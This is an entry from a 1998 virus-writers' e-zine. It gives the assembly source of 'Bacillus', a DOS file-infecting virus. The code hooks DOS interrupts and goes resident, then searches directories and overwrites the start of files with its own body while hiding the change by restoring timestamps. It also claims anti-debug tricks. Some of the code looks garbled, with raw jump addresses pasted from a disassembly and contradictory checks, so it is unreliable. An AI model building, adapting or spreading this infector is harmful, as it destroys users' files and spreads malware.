ฤฤฤฤฤฤฤ[PVW4.026]ฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤ
Written for the : Pinoy Virus Writers E-Zine #4
DATE : December 1998
                                % % % % %

                               - = %|% = -

 ษอออ   sOuRcEs !!!  ออออออออออออออออออออออออออออออออออออออออออป
 ศอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ

  Virus Name : Bacillus
  By : Lorz

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--

;This virus is made by Lorz of PVW. I name this virus as Bacillus Virus.
;It has many anti-virus techniques. It also has anti-debug and anti-bait methods.
;Assemble this with a86.
.mode
.code tiny

v1:
   jmp v2

anti:
   cmp ah,3fh
   jz 0117
   jmp 0125
   cmp bx,+08
   jz 011e
   jmp 0125
   cmp cx,0800
   jz 0130
   nop
   cs:
   jmp far [0103]
    
   push ax
   push bx
   push cx
   push dx
   push ds
   mov ax,ss
   sub ax,3295
   mov ds,ax
   mov bx,01a2
   mov cl,10
   mov [bx],cl
   mov cl,74
   mov bx,042b
   mov [bx],cl
   mov bx,0420
   mov [bx],cl
   mov ax,ss
   sub ax,3521
   mov ds,ax
   mov bx,03e8
   mov cl,75
   mov [bx],cl
   mov ax,ss
   sub ax,17c7
   mov ds,ax
   mov bx,0347
   mov [bx],cl
   pop ds
   pop dx
   pop cx
   pop bx
   pop ax
   cs:
   jmp far [0103]
    
   mov dx,197
   mov ah,9
   int 21
   mov ax,3521
   int 21
   mov [0103],bx
   mov [0105],es
   mov dx,0110
   mov ax,2521
   int 21
   mov dx,0174
   int 27 	
   call sopot

sopot:
   jmp    0106
   add    [bx+si],al
   add    [bx+si],al
   xor    ax,ax
   mov    es,ax
   mov    bx,es:[0100C]
   mov    [0102],bx
   mov    bx,es:[000E]
   mov    [0104],bx
   mov    word ptr es:[000C],0000
   mov    word ptr es:[000E],0000

loopip:
   call ilang  
   lea dx,[bp+tuldok]
   mov ah,3bh
   int 21h
   jnc loopip

tuldok db '..',0

ali:
   int 20h

v2:
   jmp loopip
   mov si,di
   add si,20
   mov cx,8
   cld

   es:lodsb
   cmp al,'0'
   jb ilang
   cmp al,'0'
   ja ilang
   cmp al,20
   je ali
   
   loop v2
   xor bx,bx
   mov ah,0
    
   es:lodsb
   cmp al,20 
   je  end_cc
   add bx,ax 
   loop v2 
    
   end_cc:
   mov ax,cs:last_sum  
   mov cs:last_sum,bx  
   inc ax
   cmp ax,bx
   je ali   

last_sum dw ?

ilang:
   mov dx,80h
   mov ah,4fh
   int 21h
   jnc ilang2
   jmp ali     

ilang2:
   mov dx,9eh
   mov ax,4300h
   int 21h
   mov attrib,cx
   xor cx,cx
   mov ax,3d02h
   int 21h
   jc ali
   mov bx,ax
   mov ax,5700h
   int 21h
   mov aldaw,dx
   mov oras,cx
   mov dx,100h
   mov ah,40h
   mov cx,offset pirma
   int 21h
   mov ax,5701h
   mov cx,oras
   mov dx,aldaw
   int 21h
   mov ah,3eh
   int 21h
   call anti 

pirma db 'Lorz@PVW'
aldaw dw ?
oras dw ?
attrib dw ?

end v1

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--
